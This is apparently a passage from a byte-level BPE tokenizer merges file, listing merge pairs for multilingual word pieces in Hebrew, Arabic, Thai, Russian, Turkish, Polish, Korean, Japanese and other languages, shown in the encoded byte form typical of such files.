+Ġפ ת +Ġפת ×ķ×Ĺ +Ġbe ÄŁ +ĠbeÄŁ en +Ġ×ŀ ×ķר +Ġ×ŀ×ķר ׼×ij +Ġرس اÙĦØ© +íĨµ ìĭł +Ġaval ia +Ġavalia ções +Ġman h +Ġmanh ã +Ġìķ ŀ +Ġìķŀ ìľ¼ë¡ľ +ÙĤ تر +ÙĤتر ØŃ +à¹Ģà¸ģ ืà¸Ń +à¹Ģà¸ģืà¸Ń à¸ļ +Ġpropos é +Ø£ Ùħا +Ø£Ùħا ÙĥÙĨ +ĠÐŀ Ðŀ +ĠÐŀÐŀ Ðŀ +ÙħÙĤ ار +ÙħÙĤار ÙĨØ© +ëĦ IJ +ãģĦãģŁãģł ãģı +ÙĤ ÙĬÙĦ +Ġна ÑĪиÑħ +ãĤ« ãĥĥãĥĹ +×Ĺ׾ ת +Ġëĭ¤ ë§Į +à¸Ĺัà¹Īว à¹Ĥลà¸ģ +ãĥį ãĤ¿ +ØŃس اس +ãģ«ãģª ãĤĮ +ج ائ +جائ زة +é change +é conom +économ ie +Т Ðĺ +סת ׼׾ +à¸Ĺัà¹īà¸ĩ สà¸Ńà¸ĩ +ĠاÙĦØ® اÙħ +ĠاÙĦخاÙħ س +×§ ×ĺ×¢ +au waż +à¸ľà¸¹à¹ī à¸Ĭาย +à¹ģà¸Ľà¸¥ à¸ģ +åIJĮæĻĤ ãģ« +зн аниÑı +ãģĦãģŁãģł ãģįãģ¾ãģĹãģŁ +Ġ×ŀ×ij ׾×Ļ +à¸Ĥà¸Ń à¹ĥหà¹ī +ĠاÙĦت ربÙĬØ© +Ġdécou vert +Ġżyc iu +apr ès +Ġy ab +Ġyab anc +Ġyabanc ı +ĠbaÅŁ layan +ìĹĪ ëįĺ +Ġhes abı +Ġë§Į ìķ½ +ë§ Īëĭ¤ +ĠTh ánh +ãĥ´ ãĤ¡ +à¸Ľà¸£à¸±à¸ļ à¸Ľà¸£ +à¸Ľà¸£à¸±à¸ļà¸Ľà¸£ ุà¸ĩ +ĠM ặc +à¹Ģหà¸ķุ à¸ľà¸¥ +ĠÐij ез +Ġcapac itÃł +ÅĤe ÅĽ +ĠпÑĢе им +ĠпÑĢеим ÑĥÑīеÑģÑĤв +ĠÅļ wiÄĻt +Ġpubli é +×ŀ×¢ צ×ij +Ùħشار Ùĥات +à¸łà¸² ษ +à¸łà¸²à¸© ี +Ġdeux ième +ĠÙħØŃ اÙ쨏 +ĠÙħØŃاÙ쨏 Ø© +ĠSch ön +ï½ ¤ +Ġ×Ķ ×ij×¢ +Ġ×Ķ×ij×¢ ×Ļ×Ķ +ĠÙĪØ§ÙĦ ÙĦÙĩ +è¨Ģ ãģ£ãģŁ +à¸ķ à¹īาà¸Ļ +วร รà¸ĵ +à¸Ĺิ ศ +ĠbaÅŁ ına +Ġmog ÄĻ +ש ×Ļפ×ķר +ĠÙĪ Ø¹Ø¯ +ĠÙĪØ¹Ø¯ Ùħ +Ġhistó rico +Ġk ısı +ĠìĿ´ ê²Į +ĠPol ÃŃtica +ĠÑģиÑĤÑĥ аÑĨии +ĠkoÅĦ ca +×ij×ĵ ×Ļ×§×Ķ +ĠاÙĦسÙĬ ارات +ãģªãĤī ãģ° +ãĤµ ãĥ© +ãĤĭãģĵãģ¨ãģĮãģ§ãģį ãĤĭ +Ġdecis ão +×ķ ×ķ×ĵ +lä ss +läss ig +Ġ׾ ×Ļשר×IJ׾ +ĠÙĬ أتÙĬ +ר ×ķ×ĸ +ö ÄŁ +Ã¶ÄŁ ret +Ã¶ÄŁret im +Ġд ек +Ġдек аб +Ġдекаб ÑĢÑı +Ġש ×Ĺ×ķר +ãģ¦ãģıãĤĮ ãģŁ +عب ارة +Ġélect rique +ĠاÙĦتÙĨ ÙħÙĬØ© +جر Ùī +ĠìĪĺ íĸī +à¸Ĺ ู +ĠÑĢе алÑĮно +Ñģп оÑģоб +à¸Ħล à¹īาย +Ġس عÙĪØ¯ +ön ü +ĠÙģ ÙħÙĨ +تÙĥ ÙĪ +تÙĥÙĪ ÙĬÙĨ +ĠкаÑĩ еÑģÑĤво +ĠконÑĤ ак +ĠконÑĤак ÑĤ +Ġsöz leÅŁme +à¸Ń à¹īาà¸ĩ +Ġت ÙĪÙģ +ĠتÙĪÙģ ÙĬر +×Ķ×ĸ ×ĵ +×Ķ×ĸ×ĵ ×ŀ׳×ķת +ĠØ·ÙĪÙĬÙĦ Ø© +Ġtér mino +Ġ×IJ ×Ļפ×Ķ +ãĥĵ ãĥ« +ส à¹Ĥม +สà¹Ĥม สร +ĠاÙĦ اث +ĠاÙĦاث ÙĨÙĬÙĨ +ев иÑĩ +Ġopin ión +à¸Ľ วà¸Ķ +åı¤ ãģĦ +ร à¹Īา +ĠB iaÅĤ +ĠÑģÑĤ ал +ĠÑģÑĤал о +ó logo +ĠìķĦ ëĭĪëĭ¤ +Ġ×IJ ×Ļת +Ġ×IJ×Ļת ×ķ +à¹Ģหà¹ĩà¸Ļ วà¹Īา +à¸ļ ารà¹Į +çĦ ¼ +çĦ¼ ãģį +ĠìĿ´ìļ© ìŀIJ +ĠнекоÑĤоÑĢ Ñĭе +ks z +ksz taÅĤ +ksztaÅĤ c +ãĤŃãĥ£ ãĥĥãĤ· +ãĤŃãĥ£ãĥĥãĤ· ãĥ³ãĤ° +Ġro ÅĽ +ĠroÅĽ lin +ÑĢаж а +×ij׳×Ļ ×Ļ×Ķ +à¸Ľà¸£ สิ +à¸Ľà¸£à¸ªà¸´ à¸ķ +Ġgörd ü +×ŀ׳×Ķ ×Ļ×Ĵ +å¤īãĤı ãģ£ãģ¦ +Ġ×IJ ×Ķ +Ġ×IJ×Ķ ×ijת×Ļ +à¹Ģร à¹Īà¸ĩ +Ġön ünde +Ġê·¸ ëĥ¥ +пол иÑĤ +полиÑĤ иÑĩеÑģк +ãĥ¡ ãĥĩãĤ£ +ãĥ¡ãĥĩãĤ£ ãĤ¢ +ĠDet ay +ĠDetay lı +ĠاÙĦصÙģ ØŃØ© +à¸ģาร à¹Ģà¸ĩิà¸Ļ +Ġìµľ ê·¼ +׼ ש׾ +ï¼ © +вÑĪ ÐµÐ³Ð¾ +íķĺ ìĭ¤ +ĠÐŃ ÑĤ +ĠÐŃÑĤ оÑĤ +ส ื +สื à¸ļ +Ġng ừng +ĠдокÑĥменÑĤ ов +дав аÑĤÑĮ +ĠاÙĦشخص ÙĬØ© +Ġצ ×¢×Ļר +در Ùĥ +س ØŃب +à¹Ħมà¹Ī à¸Ħà¹Īà¸Ńย +Ġ×Ķ×ŀ×§ ×ķ×ŀ×Ļ +สัà¹Īà¸ĩ à¸ĭืà¹īà¸Ń +Ġê·¸ê²ĥ ìĿĦ +ãģĤãĤĭ ãģĦ +ãģĤãĤĭãģĦ ãģ¯ +×IJ×ķ×ĺ ×ķ×ij +×IJ×ķ×ĺ×ķ×ij ×ķס +к ÑĨион +ĠÐľ ожно +ãģı ãģł +ãģıãģł ãģķ +ĠинÑĦоÑĢм аÑĨиÑı +ï» Ł +Ġìŀij ìĹħ +Ġ×Ļ ×ķסף +Ø¥ دارة +ĠاÙĦØŃ اج +×ł×¡ ×Ļ×¢×Ķ +из аÑĨиÑı +×IJ׾ ×ij +×IJ׾×ij ×ķ×Ŀ +п ед +Ġ×§×ĺ ׳×Ķ +ĠÙĨÙ쨳 Ùĩا +ĠMinist ério +Ġп ен +Ġпен Ñģи +ãĥIJ ãĥ©ãĥ³ãĤ¹ +Ġ×Ķת ×ķר×Ķ +Ġt ạm +ĠìĹŃ ìĭľ +ï½ ¡ +Ġth á»± +Ġ ısı +ì» ¨ +ãģĹãģ£ãģĭãĤĬ ãģ¨ +Ġx ưa +Ġc ặp +×Ĺ ×Ļ×ij×ķר +วัà¸Ĵà¸Ļ à¸ĺรรม +st är +stär ke +ĠÑģам Ñĭй +p isa +pisa Äĩ +ĠoluÅŁ an +ĠاÙĦØ¥ ÙħاÙħ +ĠcÄĥ ng +Ġgü nl +Ġgünl ük +Ġ׳ש ×IJר +Ġkhi á»ĥn +ç¶ļ ãģijãĤĭ +stit ución +Ġcapac ité +Ġj aki +Ġjaki ÅĽ +вÑĪ Ð¸Ñģ +вÑĪиÑģ ÑĮ +פע×ķ׾ ×ķת +ĠØŃ ÙĬات +ĠØŃÙĬات Ùĩ +Ġник огда +ÐĽ Ь +Ġ×Ķ×¢ ×ķ×ij +Ġ×Ķ×¢×ķ×ij ×ĵ×Ķ +Ġch Ãło +หลาย à¹Ĩ +ĠÑı н +ĠÑıн ваÑĢ +ĠÑıнваÑĢ Ñı +à¸Īำà¹Ģà¸Ľà¹ĩà¸Ļ à¸ķà¹īà¸Ńà¸ĩ +Ġhö her +ãģķãĤĮãģ¦ ãģĦãģŁ +สà¸ĩ สั +สà¸ĩสั ย +ĠاÙĦ اس +ĠاÙĦاس ÙĦاÙħ +ĠاÙĦØ´ Ùħس +สà¸ĸาà¸Ļ ี +ãĤ¯ãĥ© ãĤ¹ +à¸ŀร ร +à¸ŀรร à¸Ħ +p õ +põ e +Ġpor ém +à¸Ľà¸£à¸° สà¸ĩ +à¸Ľà¸£à¸°à¸ªà¸ĩ à¸Ħà¹Į +powied zie +powiedzie Äĩ +Ġмог Ñĥ +Ġж ел +Ġжел ез +ĠاÙĦØ« ÙĤ +ĠاÙĦØ«ÙĤ اÙģÙĬ +ĠпÑĢав ило +Ġgdy ż +פש ×ķ×ĺ +ÑĢабоÑĤ ка +ĠÙĥ رة +Ø´ دد +Ùħار Ùĥ +Ùħ ÙĥØ© +Ġпод пиÑģ +×ĺ×ķ ×ķ×Ĺ +ĠÅĽ c +ĠÅĽc ian +Ġر جاÙĦ +Ġ×ª×ľ ×ķ×Ļ +и ÑĪ +иÑĪ ÑĮ +Ġmé dec +Ġmédec in +ëįĶ ëĿ¼ëıĦ +ĠÑĤеб Ñı +Ġ׾×Ķ ×ķס×Ļ×£ +ãģĬ 話 +Ġà¹ģà¸ķà¹Ī à¸ģà¹ĩ +د اÙģ +داÙģ Ø¹ +ĠC ùng +ãĥ»ãĥ» ãĥ»ãĥ» +ê¶ ģ +Ġdeber ÃŃa +หà¸Ļà¹Īวย à¸ĩาà¸Ļ +Ġva ÌĢ +Ġעצ ×ŀ +Ġעצ×ŀ ×Ŀ +à¹Ģà¸Ĭืà¹Īà¸Ń วà¹Īา +שק ×¢ +Ġ×Ķ ×Ľ×ķ׾ +Ġ×Ķ׼×ķ׾ ׾ +ни бÑĥд +нибÑĥд ÑĮ +ĠëĦĪ íĿ¬ +Ġоб ÑĢаÑī +ĠобÑĢаÑī а +Ġ×¢×ij×ķ×ĵ ת +ĠاÙĦÙħÙĨت خب +ıy ord +ıyord u +ÙĪ Ø° +×Ĺש ×Ļ×ij×ķת +Ġ×Ķ×¢ ×Ļ×§ +Ġ×Ķ×¢×Ļ×§ ר×Ļ +ì¢ Į +ยุ à¹Ĥร +ยุà¹Ĥร à¸Ľ +Ġа пÑĢ +ĠапÑĢ ÐµÐ»Ñı +sz ed +szed ÅĤ +д он +à¹Ģà¸ķิ à¸ļ +à¹Ģà¸ķิà¸ļ à¹Ĥà¸ķ +кол о +Ġkażde j +å¸ ° +帰 ãĤĬ +Ġмил ли +Ġмилли он +ç¾İåij³ ãģĹãģĦ +ت ÙĤار +تÙĤار ÙĬر +ĠìĿ´ 루 +ĠìĿ´ë£¨ ìĸ´ +Ġsprzeda ż +×Ķ ×ķצ×IJ×ķת +ãĤ¢ãĤ¯ ãĤ» +ãĤ¢ãĤ¯ãĤ» ãĤ¹ +ר ×ķ×¥ +ĠгоÑģÑĥдаÑĢÑģÑĤв енн +Ø£ ØŃÙĥ +Ø£ØŃÙĥ اÙħ +ĠoluÅŁ u +ĠA ç +ĠAç ık +ãĤ¸ ãĥ¼ +ç´ł æĻ´ +ç´łæĻ´ ãĤīãģĹãģĦ +Ġ×ijש×ij ×ķ×¢ +ب ذ +بذ ÙĦ +สา à¹Ģหà¸ķุ +Ġpoz osta +Ġpozosta ÅĤ +ØŃر Ùħ +Ġimport ância +leÅŁtir me +Ġд ÑĢев +Ġmó vil +ĠA ynı +Ġна лог +Ġналог ов +Ġ×Ĺ ×Ļפ×Ķ +ĠÑĦоÑĢм Ñĥ +à¸Ĺà¸Ķ สà¸Ńà¸ļ +ĠksiÄħż ki +Ġma ÅĤe +Ùħس Ø£ÙĦ +ÙħسأÙĦ Ø© +ï¼¾ ï¼¾ +ç ãeste +év iter +Ġкон ÑģÑĤÑĢÑĥк +ĠконÑģÑĤÑĢÑĥк ÑĨи +ï¾ ŀ +Ġת×ķ׼ ׳ +ãĤ¹ãĥĪ ãĥ¬ãĤ¹ +ĠاÙĦاÙĤتصاد ÙĬ +×ŀ×ĵ ×Ļ +Ġw ÅĤad +ĠwÅĤad z +Ø® ÙĪÙģ +ĠмаÑĤеÑĢиал ов +ãģ¨ãģ£ãģ¦ ãĤĤ +Ġznaj du +Ġznajdu jÄħ +Ùģ Ø¦Ø© +ãģ©ãģ® ãĤĪãģĨãģª +æĬij ãģĪ +׳ ×Ĺ׾ +Ġdü ny +Ġdüny an +Ġdünyan ın +гÑĢ Ð°Ð½Ð¸ +гÑĢани Ñĩ +Ġ×Ķש׾ ×Ļש×Ļ +Ġ×Ķ×IJ ש +åıĬ ãģ³ +ìĭŃ ìĭľ +ìĭŃìĭľ ìĺ¤ +Ġдол л +Ġдолл аÑĢ +Ġпов ÑĤоÑĢ +Ġ×Ĺ ×Ļ׳×Ŀ +ת פת×Ĺ +Ñĥв ели +Ñĥвели Ñĩен +ãĤ« ãĥª +raw id +rawid ÅĤow +×ķ ×ķ׾ +ãĥŁ ãĥ¥ +ì½ ĺ +ĠBy ÅĤ +Ðľ ÐIJ +ع ÙIJ +ĠÑģовеÑĢ ÑĪ +ĠÑģовеÑĢÑĪ ÐµÐ½Ð½Ð¾ +Ġм ой +Ġ×ķ׾×IJ ×Ĺר +æħ £ +æħ£ ãĤĮ +ØŃ اÙ쨏 +Ġ무 ë£Į +à¸Ħà¸ĵะ à¸ģรรม +à¸Ħà¸ĵะà¸ģรรม à¸ģาร +Ġìĸ´ ëĶĶ +Ġdif eren +Ġdiferen ça +ĠاÙĦØ£ ساس +ĠاÙĦأساس ÙĬØ© +Ġ׾×IJ×Ĺר ×ķ׳×Ķ +ê· ł +Ġ×Ķש׳×Ļ ×Ļ×Ķ +ìľĦìĽIJ ìŀ¥ +ลุ à¸ģ +ç iler +Ġ×Ķ×IJ ׾×ķ +èģŀ ãģı +Ġ×ķ×IJ פ×Ļ׾×ķ +ĠÑĢе ализ +ĠÑĢеализ аÑĨи +ระยะ à¹Ģวลา +Ġجدا Ùĭ +تب اع +Ġveh ÃŃculo +Ġдол г +à¸Ľà¸£à¸´ มาà¸ĵ +ì¦ IJ +Ġ׾ ×ŀ×§×ķ×Ŀ +ĠìĤ¬ ì§Ħ +à¸Ĭ à¹īา +Ġ×ŀ×¢ ×ķ׾×Ķ +Ġgö rm +Ġgörm ek +ĠÙĪÙĩ ذÙĩ +пеÑĢ Ð² +пеÑĢв ÑĭÑħ +ê·¸ ëŀĺ +ĠاÙĦبر ÙĬØ· +ĠاÙĦبرÙĬØ· اÙĨÙĬ +ĠиÑİ Ð½Ñı +ĠÐĵ оÑĢ +Ġ׾ ש׾×Ŀ +ÐIJ ÐĿ +Ġназ наÑĩен +о оÑĢ +ооÑĢ Ñĥж +Ġöz elli +Ġözelli ÄŁi +Ġни же +ç¶ļ ãģijãģ¦ +Ġа ÑĢенд +Ġkat ılı +Ġkatılı m +ĠØ¥ Ø·ÙĦاÙĤ +ĠÙĪØ¥ ذا +Ġок ÑĤÑı +ĠокÑĤÑı бÑĢÑı +à¹Ĥà¸ķ ๠+à¹Ĥà¸ķ๠Ĭ +à¹Ĥà¸ķà¹Ĭ ะ +Ġolduk ları +Ùħ ÙĪÙĤع +ëĤ © +ã썿ĢĿ ãģ£ãģ¦ãģĦãĤĭ +Ġש ×Ļ׼×ķ׾ +วา à¸Ķ +س ÙĬÙĦ +à¸Ĥ วั +à¸Ĥวั à¸į +تØŃ ÙĥÙħ +ì ĤŃ +Ġconna ît +׳ פת×Ĺ +Ġch ặ +Ġchặ n +ĠÙħ ØŃÙħ +ĠÙħØŃÙħ ÙĪØ¯ +ãģ ´ +ĠпÑĢодÑĥк ÑĨии +зд ÑĢав +ãģĶ è¦ +ãģĶè¦ § +×IJ×ij ×IJ +Ġvé ritable +ĠØ· ÙģÙĦ +ãĥĪãĥ© ãĥĸãĥ« +ê³ ¡ +Ġת ×ŀ×ķ׳×Ķ +Ġki ên +ĠÙĤ ادر +Ø¥ÙĤ ÙĦÙĬÙħ +ĠпÑĢед пÑĢи +ĠпÑĢедпÑĢи ÑıÑĤиÑı +Ġb Äĥng +Ġay ında +Ġg ấp +еÑħ ал +Ġgi Ãłnh +Ġд ав +Ġдав но +ìĺĢ ëĭ¤ +à¸Ļัà¸ģ à¹Ģà¸ķ +à¸Ļัà¸ģà¹Ģà¸ķ ะ +Ùħست شار +ست راتÙĬج +ستراتÙĬج ÙĬ +رÙħ ز +Ġt Ä©nh +ë¡ Ń +ĠÑĩ еÑĤ +ĠÑĩеÑĤ Ñĭ +ĠÑĩеÑĤÑĭ ÑĢе +ĠEnt ão +Ġص غ +Ġصغ ÙĬرة +×ij×Ļ×ĺ ×ķ׾ +خط ÙĪØ· +ĠÑĢазвиÑĤ ие +Ġamacı yla +à¸Ĺี วี +Ġо ÑģÑĤ +ĠоÑģÑĤ алÑĮн +ש×ķ׾׊ף +Ġ׼ ׳×Ļס +Ġ׼׳×Ļס ×Ķ +Ġd áºŃy +ĠyaÅŁ ayan +Ġ×ŀ×Ķ ×ķ×ķ×Ķ +ĠÑĥ Ñģи +ĠÑĥÑģи ли +×ŀ פ×Ļ +ĠпÑĢовед ениÑı +Ġر ب +Ġرب Ùħا +ĠاÙĦØ£ ÙĪØ³Ø· +Ġìľł ì§Ģ +Ġprac ownik +Ġpracownik ów +×ŀס ×ķרת +ÙĤار ب +à¸Ħวาม รูà¹īสึà¸ģ +à¹ģหล ะ +ĠاÙĦÙĨ ÙĤد +Ġ×IJ׾ פ×Ļ +Ùħس ئ +Ùħسئ ÙĪÙĦ +ев ÑĭÑħ +клÑİÑĩ ениÑı +×ij ×Ļ׳ +×ij×Ļ׳ ×Ļ×Ķ×Ŀ +ש ×ķ×IJ×Ķ +ĠÅŁ ark +ĠÅŁark ı +Ġsü rec +Ġsürec in +à¹Ģà¸Ħร à¸Ķ +à¹Ģà¸Ħรà¸Ķ ิà¸ķ +ãĥIJ ãĥ¬ +ĠØ´ Ø£ÙĨ +à¹Ģà¸Ńา à¹Ħวà¹ī +niÄĻ cie +רצ ×Ĺ +ĠaÅŁ ama +׳ פ×Ĵ×¢ +Ġth á»Ŀ +Ġkhu ẩn +diÄŁ inde +ÑıÑī иÑħ +ãĥĺ ãĥ« +Ġüber h +Ġüberh aupt +ĠÑĤÑĢеб ова +ĠdÅĤ ugi +×ĺ ×Ļף +à¸Ĥà¸Ļาà¸Ķ à¹ĥหà¸įà¹Ī +ĠاÙĦØ£ Ùĩ +ĠاÙĦØ£Ùĩ ÙĦÙĬ +ĠMü d +ĠMüd ürü +Ġ×Ļ×Ķ ×ķ×ĵ×Ķ +Ñĭв аеÑĤÑģÑı +س اط +×Ķת ׳×Ķ×Ĵ +×Ķ×ª×ł×Ķ×Ĵ ×ķת +à¸ģาร à¸ľà¸¥à¸´à¸ķ +íĴ Ģ +สà¸ĸาà¸Ļ à¸ģารà¸ĵà¹Į +Ġо ÑĦ +ĠоÑĦ иÑģ +ĠÙĦ عبة +Ġstron ÄĻ +Ġר×IJ ×ķ×Ļ +×Ĺ ×ij׾ +ĠÑĢÑĭ н +ĠÑĢÑĭн ке +Ġ׾×ŀ×¢ ף +اس ÙĦ +ห ัà¸Ļ +Ġ×IJ ×Ĺ×Ļ +ĠпÑĢод ол +ê°Ģ ìŀħ +Ġ×ijר ×Ĺ +Ġ×ijר×Ĺ ×ij×Ļ +дж еÑĢ +Ġ׾ ×Ĺ׾ +Ġ׾×Ĺ׾ ×ķ×ĺ +Ġ׾×Ĺ׾×ķ×ĺ ×Ļף +ศาส à¸Ļา +ãĤ¢ãĤ¤ ãĥĨ +ãĤ¢ãĤ¤ãĥĨ ãĥł +Ġפר ×ķפ +جز اء +ล à¸Ńย +Ġc iaÅĤa +Ġgi ết +ĠзнаÑĩ иÑĤелÑĮно +Ġolmad ıģ +Ġolmadıģ ını +н д +нд екÑģ +تأ Ùĥد +Ġìĸ ¸ +Ġìĸ¸ ìłľ +ay dın +ãĥī ãĥ¬ãĤ¹ +Ġs ắt +Ġíĺ¸ íħĶ +Ġë¶ ģ +Ġë¶ģ íķľ +ãĥij ãĤ¤ +Ġ×ŀש×Ĺ×§ ×Ļ +à¸Ħà¸Ļ à¸Ńืà¹Īà¸Ļ +Ġиз гоÑĤов +ĠизгоÑĤов лен +à¹Ģà¸ģีย ร +à¹Ģà¸ģียร à¸ķิ +תק שר +ĠÑĢаÑģ ÑĩеÑĤ +ส à¹Ģà¸ķ +Ġl änger +ĠiÅŁ let +ĠiÅŁlet me +Ġع ÙĦÙĬÙĨ +ĠعÙĦÙĬÙĨ ا +é lection +ĠاÙĦغ ربÙĬØ© +íĭ Ģ +ãĤĤãĤī ãģĪ +Ġкни ги +Ø£ سÙħ +أسÙħ اء +Ġth á»ı +Ġthá»ı a +หà¸Ļ ู +Ġ×ł×¢ ש×Ķ +à¸łà¸²à¸¢ à¹ĥà¸ķà¹ī +à¸ŀื à¸Ĭ +رÙĬ Ø· +Ùģ ÙĪØ¶ +ãģĤãĤĬãģĮãģ¨ãģĨãģĶãģĸ ãģĦãģ¾ãģĹãģŁ +ש ×ĵ×Ķ +Ġng á»±c +ĠÑģеÑĢ ÑĮ +ĠÑģеÑĢÑĮ езн +T ôi +Ġfiyat ları +ĠвÑģ Ñİ +ĠC ódigo +Ġ×Ķש ×IJ +Ġ×Ķש×IJ ׾×Ķ +ĠP ública +Ø¥ Ø® +إخ ÙĪØ§ÙĨ +ĠзаÑıв ил +ãĥ¦ ãĥ¼ +ר×IJ ×Ļת +vol ución +Ġsz ko +Ġszko ÅĤy +جرÙĬ دة +Ġpens é +ìī ¬ +ĠBüyük ÅŁehir +ĠØ£Ùħ رÙĬ +ĠØ£ÙħرÙĬ ÙĥÙĬ +à¸Ļัà¸ģ ศึà¸ģษา +Ġtod av +Ġtodav ÃŃa +ĠС ан +ĠСан кÑĤ +íķĺ ìŀIJ +ØŃÙĪ Ø§ÙĦ +׼ ×ķשר +à¹Ģลย à¸Ħรัà¸ļ +Ġal gu +Ġalgu ém +Ùģ Ø² +Ġçek il +Ġ×ĵ ר׼×Ļ×Ŀ +ãĥIJ ãĥ© +à¸ģà¹ĩ สามารà¸ĸ +สà¹Īวà¸Ļ ลà¸Ķ +íı ° +ĠP úb +ĠPúb lico +à¹ģà¸Ļว à¸Ĺาà¸ĩ +×IJת ×Ĵר +Ø´ اش +شاش Ø© +ci ÅĽni +ĠÃľ rün +ÙĦÙĪ ØŃ +ĠاÙĦ بÙĨ +ĠاÙĦبÙĨ Ùĥ +ì¡° ì¹ĺ +Ġorganiz ación +ãģĤãĤĬãģĮãģ¨ãģĨãģĶãģĸ ãģĦãģ¾ãģĻ +s ätze +ĠÑģем ей +ÙĤ صد +ÑģÑĤв еннÑĭе +Ġpréc éd +Ġprécéd ent +à¸ģรุà¸ĩà¹Ģà¸Ĺà¸ŀ ฯ +ãģ¨è¨Ģ ãģĦ +×ij׳×Ļ ×Ļף +ĠØŃ ÙĪ +ĠØŃÙĪ Ø§ÙĦÙĬ +סק ס +ĠsaÄŁlam ak +Ġ׾ צ×Ļ×Ļף +×§×ĵ ש +Ġ×Ķ×ŀ ×¢×¨×Ľ×ª +Ġ׾×Ķ ×¢×ij×Ļר +Ġg ünd +Ġgünd em +ĠнаÑĪ ÐµÐ³Ð¾ +à¹ĥà¸Ļ à¸ŀืà¹īà¸Ļà¸Ĺีà¹Ī +à¹Ģà¸Ħร ืà¸Ń +à¹Ģà¸Ħรืà¸Ń à¸Ĥ +à¹Ģà¸Ħรืà¸Ńà¸Ĥ à¹Īาย +ظ اÙĩرة +ÙħÙĨ ظÙħ +ÙħÙĨظÙħ ات +Ùħت از +追 ãģĦ +dı kt +dıkt an +ĠëįĶ ìļ± +ĠÐĿ апÑĢимеÑĢ +tw ór +×ŀ×ķ×¢ צ×Ķ +Ùĥ ÙĪÙĥ +Ð © +×ŀ×ĺ פ׾ +ó lica +訪 ãĤĮ +ĠëĮĢ ë¶Ģ +ĠëĮĢë¶Ģ ë¶Ħ +ãĤ¯ãĥª ãĥĥãĤ¯ +ãĤĴ éģ¸ +ãĤĴéģ¸ ãģ¶ +Ġpow sta +Ġpowsta ÅĤ +Ġraz ón +×ij ×ķ×Ĺר +ĠÑģообÑī ил +Ġ×§ ×ij×ķ×¢ +r êt +à¸Ķี à¸Ĥึà¹īà¸Ļ +×ŀס ×¢×ĵ +×ŀסע×ĵ ×ķת +ĠÃĸ sterreich +Ġ׳ ×Ĺש×ij +Ùħباد رة +ì´ ī +×Ĵ ׳×ĺ×Ļ +ä¿¡ ãģĺ +du ÄŁ +duÄŁ unu +Ġph ú +ĠاÙĦØ£ Ø®ÙĬر +Ġت عتبر +landır ıl +ãģ¨ãģ¯ ãģĦ +ãģ¨ãģ¯ãģĦ ãģĪ +ĠاÙĦ Ø·ÙĦ +ĠاÙĦØ·ÙĦ اب +ĠN º +éģ¿ ãģij +اÙĦ Ùħع +اÙĦÙħع رÙĪÙģ +ส à¸łà¸² +éĽ¢ ãĤĮ +ĠпомоÑī ÑĮ +Ġзна еÑĤ +ãĥĹãĥ¬ ãĤ¼ +ãĥĹãĥ¬ãĤ¼ ãĥ³ãĥĪ +Ġsup érieur +Ġש׾ ×Ļש×Ļ +ĠاÙĦÙĨ ÙĪØ¹ +ãĤĵãģ§ãģĻ ãģŃ +à¸Ńà¸ļ รม +Ġgi á»įng +Ġwzgl ÄĻd +ĠاÙĦÙģ ÙĤر +è rent +Ġ×ŀ×IJ ×Ĺ +Ġ×ŀ×IJ×Ĺ ×ķר×Ļ +×Ĵ ×Ĵ +×Ļ ×Ļ×ij +ÙħÙĦ اب +ÙħÙĦاب س +Ġhük ü +Ġhükü met +Ġ×ŀ×Ĵ ×Ļ×ij +ĠÐŀ Ñĩ +ĠÐŀÑĩ енÑĮ +æĹ© ãģĦ +Ġconstr ucción +Ġth ượng +ï¼ ĭ +Ġcor ação +à¹Ģหล à¹ĩà¸ģ +ĠBaÅŁ b +ĠBaÅŁb akan +éĢ£ ãĤĮ +ãģĻãĤĭ ãģĵãģ¨ãģĮãģ§ãģįãģ¾ãģĻ +ĠÙĤ اÙħت +Ġا Ùĥثر +ÙģØ§Ø¹ ÙĦ +ĠÑĦ оÑĢ +ĠÑĦоÑĢ Ñĥм +غ ذÙĬ +ĠiÅŁ le +ĠiÅŁle ml +ĠiÅŁleml eri +ĠìĤ¬ëŀĮ ìĿĢ +Ġìŀij ìĦ± +Ġë§Ī 볨 +Ùħ جÙĦس +หม ู +д в +дв иг +двиг а +à¹Ģสีย à¸Ĭีวิà¸ķ +×Ķת פת×Ĺ +×Ķתפת×Ĺ ×ķת +ĠмеÑĤ ÑĢо +ĠÑģ енÑĤ +ĠÑģенÑĤ Ñı +ĠÑģенÑĤÑı бÑĢÑı +ê³ § +Ġ׾ פע +Ġ×ľ×¤×¢ ×ŀ×Ļ×Ŀ +à¹Ģà¸ļ ีย +詳 ãģĹãģı +çķ° ãģªãĤĭ +Ġİl çe +ĠAt at +ĠAtat ür +ĠAtatür k +รุ à¹Īà¸ĩ +Ġkald ı +Ġ주 ìŀ¥ +Ġprés ence +Ġн аб +Ġнаб лÑİ +ĠнаблÑİ Ð´Ð° +ĠÑģам ого +×Ĵ ×ķש +×ŀ×ĺ ×ķפ +×ŀ×ĺ×ķפ ׾ +ĠвÑĭб иÑĢа +ĠìŀIJ 리 +åĪĨ ãģĭãĤīãģªãģĦ +Ġз Ñĥб +Ġש׼ ×ijר +Ġد ائ +Ġدائ Ùħا +ĠпаÑĢ ÑĤи +ï¼ ² +ĠاÙĬ ضا +ĠÑħ оз +ĠÑħоз Ñı +ĠÑħозÑı й +ĠÑħозÑıй ÑģÑĤв +ĠاÙĦØ£ ج +ĠاÙĦأج ÙĨب +ĠاÙĦأجÙĨب ÙĬØ© +ĠÐĹ Ð½Ð° +ĠAp ós +ĠÑį неÑĢ +ĠÑįнеÑĢ Ð³Ð¸ +Ġy ans +Ġyans ı +ĠJust i +ĠJusti ça +Ġpré vu +ม วล +ìŀ¥ ëĭĺ +à¸ģระ à¸ļ +à¸ģระà¸ļ วà¸Ļ +à¸ģระà¸ļวà¸Ļ à¸ģาร +×ŀ ×ŀ +×ŀ×ŀ ×ķצע +Ġh ẹ +Ġhẹ n +зд ание +Ġak ÅŁ +ĠakÅŁ am +×ĺ ×ķפ +Ġgere kt +Ġgerekt i +Ġgerekti ÄŁini +Ġnar z +Ġnarz ÄĻdzi +é po +épo que +ĠTh ần +Ġwys oko +Ġwysoko ÅĽci +à¸ľà¸¹à¹ī à¸Ľ +à¸ľà¸¹à¹īà¸Ľ à¹Īวย +ĠÙĬ بدÙĪ +ÑĤелÑĮ ного +Ġвз глÑıд +Ġjed nÄħ +ĠìĿĺ 견 +Ġ à¸Ĥà¸ĵะà¸Ĺีà¹Ī +פ ×Ļ×ĵ +ìĥģ ëĭ´ +Ġm ỡ +×Ķ ×ŀ׾ +×Ķ×ŀ׾ צ×ķת +ĠÑģоÑģÑĤ о +ĠÑģоÑģÑĤо иÑĤ +Ġав и +Ġави а +ĠL änder +تص ÙĪÙĬر 